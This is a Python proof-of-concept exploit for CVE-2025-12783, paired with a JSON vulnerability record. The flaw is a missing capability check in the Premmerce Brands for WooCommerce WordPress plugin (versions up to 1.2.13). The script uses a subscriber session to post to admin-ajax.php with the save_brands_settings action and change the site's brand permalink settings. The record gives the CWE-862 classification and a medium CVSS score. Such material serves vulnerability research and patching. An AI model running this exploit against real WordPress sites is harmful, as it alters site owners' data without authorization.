CVE-2025-12783

import requests # CVE-2025-12783 PoC - Premmerce Brands for WooCommerce Authorization Bypass # Target: WordPress site with Premmerce Brands for WooCommerce plugin <= 1.2.13 target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Authenticated session with Subscriber-level account cookies = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_[hash]": "subscriber_session_cookie" } # PoC: Exploit missing capability check on saveBrandsSettings function payload = { "action": "save_brands_settings", # AJAX action hook "mod_type": "permalink", "brands_permalink": "modified-brand-slug", # Arbitrary permalink modification "brands_base": "brands" } response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Authorization bypass successful!") print("[+] Brand permalink settings modified without proper capability check") else: print("[-] Exploit failed - check credentials or target")

{"cve": {"id": "CVE-2025-12783", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:39.780", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Premmerce Brands for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the saveBrandsSettings function in all versions up to, and including, 1.2.13. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify brand permalink settings."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/premmerce-woocommerce-brands/tags/1.2.13/src/Admin/Admin.php#L101", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3465319/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6560ba0b-2190-4d30-b0c4-f07d524ccfde?source=cve", "source": "[email protected]"}]}}